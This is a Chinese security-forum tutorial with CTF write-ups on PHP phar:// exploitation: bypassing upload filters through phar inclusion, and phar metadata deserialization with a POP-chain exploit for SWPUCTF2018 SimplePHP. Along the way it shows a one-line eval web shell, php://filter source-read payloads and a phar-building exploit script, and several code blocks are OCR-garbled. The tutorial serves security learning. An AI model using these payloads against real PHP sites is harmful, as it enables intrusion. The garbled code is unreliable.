Phar的一些利用姿势

By七友 / 2018-12-24 10:01:00 / 浏览数 3387 技术文章 技术文章 顶(3) 踩(0)

Phar的简述

翻译自手册:

phar是什么?Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件证

利用姿势一:绕过上传限制

例子

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行写一段小代码测试一下:

test.php

```
<?php @eval($_POST["cmd"]);?>
```

然后将test.php压缩,将压缩文件改后缀为.jpg index.php

```
<?php
include('phar://./test.jpg/test.php');
?>
```

成功包含

		PHP Version 5.6.35	Ph	
		System	Windows NT LAPTOP-GPFQPGPQ 10.0 build 17134 (Windows 10) AMD64	
		Build Date	Mar 29 2018 14:22:10	
		Compiler	MSVC11 (Visual C++ 2012)	
		Architecture	x64	
	Configure Command		cscript /nologo configure.js "enable-snapshot-build" "disable-isapi" "enable-debug-pack" "without-mssql" "without-pdo-mssql" "without-pi3web" "with-pdo-oci-e:\php-sdk\oracle\x64\instantclient_12_1\sdk,shared" "with-ocle-com-dotnet=shared" "with-mcrypt=statiowithout-analyzer" "with-pgo"	
(中 查看器 豆 哲	空制台 □ 调试器 {}	Server AP	Apache 2.0 Handler Fifi	
Encryption - Enco	oding ▼ Other ▼			
,,	Odling • Other •			
	127.0.0.1	er □ User Agent □ Cookies		
Load URL ♣ Split URL ▶ Execute	127.0.0.1	er		

例题:安恒11月月赛:image_up

信息收集:

http://101.71.29.5:10043/index.php?page=login

尝试伪协议读取一波源码

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=

base64解码 index.php

```
if(isset($_GET['page'])){
  if(!stristr($_GET['page'],"..")){
     $page = $_GET['page'].".php";
     include($page);
   }else{
    header("Location: index.php?page=login");
   }
 }else{
   header("Location: index.php?page=login");
login.php
<?php
 if(isset($_POST['username'])&&isset($_POST['password'])){
   header("Location: index.php?page=upload");
   exit();
 }
?>
upload.php
<?php
   $error = "";
   $exts = array("jpg","png","gif","jpeg");
   if(!empty($_FILES["image"]))
       $temp = explode(".", $_FILES["image"]["name"]);
       $extension = end($temp);
       if((@$_upfileS["image"]["size"] < 102400))</pre>
           if(in_array($extension,$exts)){
             $path = "uploads/".md5($temp[0].time()).".".$extension;
             move_uploaded_file($_FILES["image"]["tmp_name"], $path);
             $error = "||||||!";
           }
       else{
           $error = "|||||||;
       }else{
         $error = "#########";
   }
?>
分析:
```

从upload.php可以看出只能上传("jpg","png","gif","jpeg")文件,而且再index.php中在包含的文件后面强行加了".php",直接包含图片文件明显不可以了,于是就用到了这题有一个坑点,就是时间戳的问题:

```
$path = "uploads/".md5($temp[0].time()).".".$extension;
```

这里要time()+8*3600,时区不同所以要加上8小时

payload:

<?php

 $/ \verb|index.php?page=phar:|/./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1|$

| 菜刀证 | E接即可getflag | | | | |
|-----|------------------|---------------------|--------|------|-----|
| | supervisord. 10g | 2010 11 24 15.10.52 | 1010 | 0044 | |
| | supervisord.pid | 2018-11-24 15:18:44 | 2 | 0644 | |
| | . dockerenv | 2018-11-24 15:18:44 | 0 | 0755 | |
| | f11111111_ag | 2018-11-15 06:35:16 | 38 | 0755 | |
| | core | 2018-04-12 20:20:14 | 380928 | 0600 | v 1 |

flag{3809f2ce999b4d99c8051e285505a014}

利用姿势二: Phar反序列化漏洞

我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自ScThomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

Phar文件结构

Phar文件主要包含三至四个部分:

1. A stub

stub的基本结构: <?php HALT_COMPILER();,, stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点

| Global Phar manifest format | | | | |
|---------------------------------------|--|--|--|--|
| Size in bytes | Description | | | |
| 4 bytes | Length of manifest in bytes (1 MB limit) | | | |
| 4 bytes | Number of files in the Phar | | | |
| 2 bytes | API version of the Phar manifest (currently 1.0.0) | | | |
| 4 bytes | Global Phar bitmapped flags | | | |
| 4 bytes | Length of Phar alias | | | |
| ?? | Phar alias (length based on previous) | | | |
| 4 bytes | Length of Phar metadata (0 for none) | | | |
| ?? | Serialized Phar Meta-data, stored in <u>serialize()</u> format | | | |
| at least 24 * number of entries bytes | entries for each file 用户自定义的Meta-data内容会以反序列化的形式储存 | | | |

3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

| Signature format | | | | | |
|-----------------------|--|--|--|--|--|
| Length
in
bytes | Description | | | | |
| 16 or
20
bytes | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. | | | | |
| 4
bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0004 is used to define an SHA256 signature, and 0x0008 is used to define an SHA512 signature. The SHA256 and SHA512 signature support was introduced with API version 1.1.0. | | | | |
| 4
bytes | Magic <i>GBMB</i> used to define the presence of a signature. | | | | |

小测试

既然都知道Phar文件的基本结构了,那么我们就写一段代码来测试一下 PS:php.ini中必须设置phar.readonly=Off,不然Phar文件就会无法生成。

```
class Test{
    public $test="test";
  @unlink("test.phar");
  $phar = new Phar("test.phar"); //
######phar
  $phar->startBuffering();
  phar->setStub("<?php __HALT_COMPILER(); ?>"); //\blacksquare\blacksquare stub
  $0 = new Test();
  phar-setMetadata(so); //
  $phar->addFromString("test.txt", "test"); //

  phar-stopBuffering(); //
?>
查看一下phar文件的结构,可以看到Meta-data的内容是以反序列的形式储存的。
qiyou@ubuntu:~/Desktop$ xxd test.phar
00000000: 3c3f 7068 7020 5f5f 4841 4c54 5f43 4f4d
                                                        <?php
                                                               HALT COM
00000010: 5049 4c45 5228 293b 203f 3e0d 0a5b 0000
                                                        PILER(); ?>..[..
00000030: 0000 004f 3a34 3a22 5465 7374 223a 313a
                                                        ...0:4:"Test":1:
                                                        {s:4:"test";s:4:
00000040: 7b73 3a34 3a22 7465 7374 223b 733a 343a
                                                        "test";}....test
00000050: 2274 6573 7422 3b7d 0800 0000 7465 7374
00000060: 2e74 7874 0400 0000 bdef 1c5c 0400 0000
                                                        .txt.....\....
00000070: 0c7e 7fd8 b601 0000 0000 0000 7465 7374
                                                           .....test
00000080: 8119 b111 c5d4 0c3e 282f d32d af07 42f2
                                                        . . . . . . . > ( / . - . . B .
00000090: 2b90 22ea 0200 0000 4742 4d42
                                                           ....GBMB
qiyou@ubuntu:~/Desktop$
                                                                  ▶ 先知社区
那序列化部分的内容怎么反序列呢?
在使用Phar://协议流解析Phar文件时,Meta-data中的内容都会进行反序列化
小trick: 系统文件操作的函数一般都能使用伪协议流, Phar:// 也是ok的
写一段小代码测试一下:
<?php
class Test{
  function __destruct(){
     echo "test";
}
file_get_contents("phar://./test.phar/test.txt");
可以看到成功触发了反序列化

 127.0.0.1

  🗘 最常访问
 test
实战运用
一般情况下,利用Phar反序列漏洞有几个条件:
Phar
```

例题:SWPUCTF2018 SimplePHP

<?php

```
这题有两个功能:1.查看文件。2.上传文件
按流程走一下,先查看一波源码
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
       echo "<h2>There is no file to show!<h2/>";
$show = new Show();
if(file_exists($file)) {
       $show->source = $file;
       $show->_show();
} else if (!empty($file)){
       die('file doesn\'t exists.');
?>
upload_file.php:
<?php
include 'function.php';
upload_file();
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
      global $_FILES;
       $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
       //mkdir("upload",0777);
       if(file_exists("upload/" . $filename)) {
                unlink($filename);
       move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
       echo '<script type="text/javascript">alert("■■■■!");</script>';
function upload_file() {
       global $_FILES;
       if(upload_file_check()) {
                upload_file_do();
}
function upload_file_check() {
      global $_FILES;
       $allowed_types = array("gif","jpeg","jpg","png");
       $temp = explode(".",$_FILES["file"]["name"]);
       $extension = end($temp);
       if(empty($extension)) {
                //echo "<h4>
       else{
                if(in_array($extension,$allowed_types)) {
                        return true;
                else {
                          echo '<script type="text/javascript">alert("Invalid file!");</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';</script>';<
                          return false;
                 }
```

```
?>
class.php
<?php
class Cle4r
  public $test;
  public $str;
  public function __construct($name)
      $this->str = $name;
  }
  public function __destruct()
   {
      $this->test = $this->str;
      echo $this->test;
}
class Show
  public $source;
  public $str;
  public function __construct($file)
      $this->source = $file;
      echo $this->source;
  }
  public function __toString()
   {
      $content = $this->str['str']->source;
      return $content;
   }
  public function __set($key,$value)
   {
      $this->$key = $value;
   }
  public function _show()
   {
      if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
          die('hacker!');
      } else {
          highlight_file($this->source);
  }
  public function __wakeup()
      echo "hacker~";
          $this->source = "index.php";
   }
class Test
  public $file;
  public $params;
  public function __construct()
      $this->params = array();
  }
  public function __get($key)
   {
      return $this->get($key);
  public function get($key)
```

```
{
    if(isset($this->params[$key])) {
        $value = $this->params[$key];
    } else {
        $value = "index.php";
    }
    return $this->file_get($value);
}
public function file_get($value)
{
    $text = base64_encode(file_get_contents($value));
    return $text;
}
}
```

分析:

file.php中用了file_exists()函数判断读取的文件是否存在,并且源码里面告诉你flag在flag.php里面,所以猜测考察用Phar反序列化去读取flag。简单地浏览一下所有的php代码发现只有两个读取系统文件的函数:

```
highlight_file()
file_get_contents()
```

pop链分析

首先看到Show类中的_show方法:

可以看到flag被ban了, highlight_file利用不了

然后再看到Test类里面的file_get方法有file_get_contents函数,再回首file_get是在get方法里面调用的,而get方法是通过触发魔术方法__get()去调用的

__get()

那么我们怎么去触发__get呢?再回到类Show中看到

```
public function __toString()
{
    $content = $this->str['str']->source;
    return $content;
}
```

看到这里思路就很清晰了,只要我们把Test实例化的对象存储在str的数组中,然后再去调用source属性(即Test中不存在的属性),就可以触发__get()了。那么我们如何

__toString()

在看到Cle4r类里面,看到__destruct()刚好有对字符串的输出

```
public function __destruct()
{
    $this->test = $this->str;
    echo $this->test;
}
```

整个pop链就很清晰了,最后就是写exp了

```
编写exp
<?php
class Cle4r{
  public $test;
   public $str;
class Show{
   public $source;
   public $str;
class Test{
   public $file;
   public $params = array();
   @unlink("test.phar");
   $phar = new Phar("test.phar");
   $phar->startBuffering();
   $phar->setStub("<?php __HALT_COMPILER(); ?>");
   $fun1 = new Cle4r();
   $fun2 = new Show();
   $fun3 = new Test();
   $fun3->params['source']="/var/www/html/flag.php";
   $fun2->str = array('str'=>$fun3);
   $fun1->str = $fun2;
   $phar->setMetadata($fun1);
   $phar->addFromString("test.txt", "test");
   $phar->stopBuffering();
构造文件名
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
最后的payload
http://120.79.158.180:11115/file.php?file=phar://./upload/7bd59e11d401afdf6c1d291a33a940b2.jpg
getflag:
```



<?php __HALT_COMPILER(); ?>

PD9waHANCgkkZmxhZyA9lCdTV1BVQ1RGe1BocF91biRlcmk0bGl6M18xc19GdV4hfSc7DQo/Pg0K



Reference:

https://paper.seebug.org/680/ http://php.net/manual/en/phar.fileformat.phar.php

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上一篇: hackme.inndy之pwn (上) 下一篇: hackme.inndy之pwn (上)

1. 7条回复



唐小风 2018-12-24 14:35:28

 $\textbf{Warning}: include (phar:///test.jpg/test.php): failed to open stream: internal corruption of phar "D:\phpStudy\WWW\test.jpg" (_HALT_COMPILER(); not found) in \textbf{D:\phpStudy\WWW\index.php} on line \textbf{2}$

 $\textbf{Warning}: include (): Failed opening 'phar:///test.jpg/test.php' for inclusion (include_path=',C:\php\pear') in $D:\phStudy\WWW\index.php$ on line 2 include (): Failed opening 'phar:///test.jpg/test.php' for inclusion (include_path=',C:\php\pear') in $D:\phStudy\WWW\index.php$ on line 2 include (): Failed opening 'phar:///test.jpg/test.php' for inclusion (include_path=',C:\php\pear') in $D:\phStudy\WWW\index.php$ on line 2 include (): Failed opening 'phar:///test.jpg/test.php' for inclusion (include_path=',C:\php\pear') in $D:\phStudy\WWW\index.php$ on line 2 include (): Failed opening 'phar:///test.jpg/test.php' for inclusion (include_path=',C:\phStudy\WWW\index.php) in $D:\phStudy\WWW\index.php$ on line 2 include (): Failed opening 'phar://test.php on line 2 include (): Failed opening 'phar://test.php on line 2 include (): Failed opening 'phar://test.php opening 'phar://test.ph$

先知社区

为啥我第一个就凉了

0 回复Ta



By七友 2018-12-24 17:10:45

@唐小风 修改一下php.ini配置。phar.readonly = On

0 回复Ta



唐小风 2018-12-24 17:48:33

@By七友 改了没用呢,这个开关是压缩phar文件的开关吧,压缩是右键添加到压缩包吗。。

0 回复Ta



Risker 2018-12-24 21:03:47

@唐小风 php.ini中修改时记得把前面的";"去掉,你看看是这里的问题么

0 回复Ta



唐小风 2018-12-24 22:22:50

@Risker

Warning: include(phar://./test.jpg/test.php): failed to open stream: internal corruption of phar "D:\phpStudy\WWW\test.jpg" (_HALT_COMPILER(); not found) in D:\phpStudy\WWW\index.php on line 2
Warning: include(): Failed opening 'phar://./test.jpg/test.php' for inclusion (include_path='.:C:\php\pear') in D:\phpStudy\WWW\index.php on line 2

分号我去掉的 还是报这个错 什么原因呀 各种搜索没找到原因

0 回复Ta



By七友 2018-12-24 23:05:49

@唐小风 你改了配置重启服务了没有

0 回复Ta



唐小风 2018-12-25 14:34:49

<u>@By七友</u> allow_url_include没开

0 回复Ta

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